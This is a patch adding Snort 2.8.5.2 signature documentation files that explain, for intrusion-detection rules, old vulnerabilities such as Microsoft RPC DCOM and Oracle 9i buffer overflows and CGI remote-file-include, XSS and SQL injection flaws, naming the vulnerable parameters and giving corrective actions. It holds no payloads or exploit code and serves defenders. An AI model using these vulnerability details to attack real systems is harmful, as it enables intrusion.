+This event is generated by an unsuccessful attempt to execute a Windows command which generates the response "Bad command or filename". For example, it is generated by the Windows operating system if the executable file to be run from the command line is not found. 
+
+Seeing this response in HTTP traffic indicates that an attacker may have been able to spawn a shell bound to a web port and has tried to execute a command. Note that the source address of this event is actually
+the victim and not that of the attacker.
+
+--
+
+Attack Scenarios: 
+An attacker gains an access to a Windows web server via IIS vulnerability and manages to start a cmd.exe shell. He then tries to run other commands on the machine.
+
+-- 
+
+Ease of Attack:
+Simple. This post-attack behavior can accompany different attacks.
+
+-- 
+
+False Positives:
+This rule will generate an event if the string "Bad command
+or filename" appears in the content distributed by a web server, in
+which case the rule should be tuned.
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action:
+Investigate the web server for signs of compromise.
+
+Look for other IDS events involving the same IP addresses.
+
+--
+Original rule writer unknown
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3246.txt
+++ snort-2.8.5.2/doc/signatures/3246.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3246
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000832.txt
+++ snort-2.8.5.2/doc/signatures/100000832.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000832
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "HiveMail" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "markas" parameter in the "read.markas.php" script used by the "HiveMail" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using HiveMail
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3103.txt
+++ snort-2.8.5.2/doc/signatures/3103.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3103
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/890.txt
+++ snort-2.8.5.2/doc/signatures/890.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+890
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running on a web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/440.txt
+++ snort-2.8.5.2/doc/signatures/440.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+
+Sid:
+440
+
+--
+
+Summary:
+This event is generated when an ICMP Type 19 datagram with an undefined ICMP Code is detected on the network. 
+
+--
+
+Impact:
+ICMP Type 19 datagrams are not currently used by any known devices.
+
+--
+
+Detailed Information:
+ICMP Type 19 is not defined for use and is not expected network activity.  Any ICMP datagram with an undefined ICMP Code should be investigated.  
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Ingress filtering should be utilized to block incoming ICMP Type 19 datagrams
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2120.txt
+++ snort-2.8.5.2/doc/signatures/2120.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+2120
+
+--
+Summary:
+This event is generated when a remote user uses the IMAP CREATE command
+to send a suspiciously long string to port 143 on an internal server.
+This may indicate an attempt to exploit a buffer overflow vulnerability
+in the IMAP CREATE command in the Alt-N MDaemon IMAP server. This may
+also affect other IMAP implementations.
+
+--
+Impact:
+Remote execution of arbitrary code, which could allow an attacker to
+interfere with or crash mail services. The attacker must have a valid
+IMAP account and must be authenticated by the mail server to attempt
+this exploit.
+
+--
+Detailed Information:
+This event may indicate an attempt to exploit a buffer overflow
+vulnerability in the Alt-N MDaemon IMAP server CREATE command. If an
+authenticated user creates a folder with a sufficiently long name on the
+Alt-N MDaemon IMAP server, arbitrary commands can be executed with
+system privileges. 
+
+--
+Affected Systems:
+	Alt-N MDaemon 6.7.5 or Alt-N MDaemon 6.7.9 IMAP servers.
+
+--
+Attack Scenarios:
+An authenticated user can create a new folder with a sufficiently long
+name, creating a buffer overflow condition. The attacker can then
+execute arbitrary code with system privileges, which may allow the
+attacker to interfere with or crash mail services.
+
+--
+Ease of Attack:
+Exploits exist, but the user must have an account and be authenticated
+before attempting the exploit.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=11577
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2219.txt
+++ snort-2.8.5.2/doc/signatures/2219.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2219
+
+--
+Summary:
+This event is generated when an attempt is made to access setpasswd.cgi on an internal web server. This may indicate an attempt to exploit an authentication vulnerability in Trend Micro Interscan VirusWall 3.0.1 and 3.6.x.
+
+--
+Impact:
+Information disclosure, VirusWall administrative access.
+
+--
+Detailed Information:
+Trend Micro Interscan VirusWall contains an authentication vulnerability in versions 3.6.x and lower. When an administrative user changes their VirusWall account password using setpasswd.cgi, the username and password are transmitted in clear text. If an attacker is monitoring network traffic, he/she can obtain the username and password for VirusWall administration.
+
+--
+Affected Systems:
+Systems running Trend Micro Interscan VirusWall 3.0.1 or 3.6.x.
+
+--
+Attack Scenarios:
+An attacker is monitoring network traffic and intercepts the HTTP message that contains the VirusWall administrator's username and password. The attacker can then use this information to log into VirusWall and make changes to system configuration that may leave the network more open to compromise.
+ 
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+If a legitimate remote user accesses setpasswd.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to a newer version of Trend Micro VirusWall. Otherwise, do not use web-based configuration tools.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/2212
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2923.txt
+++ snort-2.8.5.2/doc/signatures/2923.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2923
+
+--
+Summary:
+This event is generated when repeated failed attempts are made to access
+an SMB share.
+ 
+--
+Impact:
+Unknown. Possible information disclosure and loss of data.
+
+--
+Detailed Information:
+This event indicates that multiple failed attempts have been made to
+access an SMB network share. This may indicate a determined effort by an
+unauthorized user to access information and data on a network share.
+
+--
+Affected Systems:
+	All systems sharing resources using SMB
+
+--
+Attack Scenarios:
+An attacker can make repeated attempts to access network shares in an
+attempt to gain information.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply strict access control to all networked resources.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000682.txt
+++ snort-2.8.5.2/doc/signatures/100000682.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000682
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "email.php" using a remote file being passed as the 
+"header_prog" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "header_prog" parameter in the "email.php" script used 
+by the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/696.txt
+++ snort-2.8.5.2/doc/signatures/696.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+696
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft SQL.
+
+--
+Impact:
+Information gathering and data integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to an implementation of Microsoft SQL server or client.  This can
+lead to unauthorized access and possibly escalated privileges to that of 
+the administrator. Data stored on the machine can be compromised and 
+trust relationships between the victim server and other hosts can be 
+exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3008.txt
+++ snort-2.8.5.2/doc/signatures/3008.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+3008
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow
+associated with the DELETE command of the IPSwitch IMail IMAP service.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow and the
+subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+A vulnerability exists in the way that the IPSwitch IMail IMAP service
+handles a DELETE command.  An excessively long user-supplied mailbox name
+to be deleted can trigger a denial of service or a buffer overflow and the
+subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Affected Systems:
+	IPSwitch IMail IMAP4 server 8.13
+
+--
+Attack Scenarios:
+An attacker can supply an overly long mailbox name for deletion, possibly causing
+denial of service or a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3215.txt
+++ snort-2.8.5.2/doc/signatures/3215.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3215
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000858.txt
+++ snort-2.8.5.2/doc/signatures/100000858.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000858
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Professional Home Page Tools" application running on a webserver. Access to the file "class.php" with SQL commands being passed as the "text" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "text" parameter in the "class.php" script used by the "Professional Home Page Tools" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Professional Home Page Tools
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000575.txt
+++ snort-2.8.5.2/doc/signatures/100000575.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000575
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "cat_delete.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "cat_delete.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2403.txt
+++ snort-2.8.5.2/doc/signatures/2403.txt
@@ -0,0 +1,88 @@
+Rule:
+
+--
+Sid:
+2403
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in ISS RealSecure and BlackICE products.
+
+--
+Impact:
+Serious. Execution of arbitrary code, DoS.
+
+--
+Detailed Information:
+A buffer overflow condition in the ISS Analysis Module can be triggered
+by an attacker sending a single SMB packet containing an AccountName
+greater than 300 bytes. It is possible for an attacker to exploit this
+condition by sending a specially crafted packet to a host serving network shares.
+
+When the systems running one of the affected ISS products decodes the
+SMB data, exploit code may be included and executed on the machine with 
+system level privileges. Alternatively, the malformed data may cause the service to become 
+unresponsive and cause a DoS condition.
+
+Sensors under attack will display "PAM_internal_error" as a message on
+the console.
+
+Sucessful exploitation of this issue could present an attacker with the 
+opportunity to execute code of their choosing on the target host with system
+privileges. It is also possible for a Denial of Service (DoS) condition to 
+be caused by an attacker attempting to exploit this condition.
+
+--
+Affected Systems:
+	RealSecure Network 7.0, XPU 20.15 through 22.9
+	Real Secure Server Sensor 7.0 XPU 20.16 through 22.9
+	Proventia A Series XPU 20.15 through 22.9
+	Proventia G Series XPU 22.3 through 22.9
+	Proventia M Series XPU 1.3 through 1.7
+	RealSecure Desktop 7.0 eba through ebh
+	RealSecure Desktop 3.6 ebr through ecb
+	RealSecure Guard 3.6 ebr through ecb
+	RealSecure Sentry 3.6 ebr through ecb
+	BlackICE PC Protection 3.6 cbr through ccb
+	BlackICE Server Protection 3.6 cbr through ccb
+
+--
+Attack Scenarios:
+An attacker may use this vulnerability to disable ISS sensors on a
+network or potentially use it to gain control of a machine running one
+of the affected products.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+eEye
+http://www.eeye.com/html/Research/Advisories/AD20040226.html
+
+Bugtraq
+http://www.securityfocus.com/bid/9752
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1145.txt
+++ snort-2.8.5.2/doc/signatures/1145.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1145
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2647.txt
+++ snort-2.8.5.2/doc/signatures/2647.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2647
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "instantiate_online" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "refresh_template_name"
+variable to cause the overflow. The result could permit the attacker
+to gain escalated privileges and run code of their choosing. This
+attack requires an attacker to logon to the database with a valid
+username and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck631.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3210.txt
+++ snort-2.8.5.2/doc/signatures/3210.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3210
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2639.txt
+++ snort-2.8.5.2/doc/signatures/2639.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2639
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "drop_mview_repgroup" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "gowner" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck90.html
+
+--
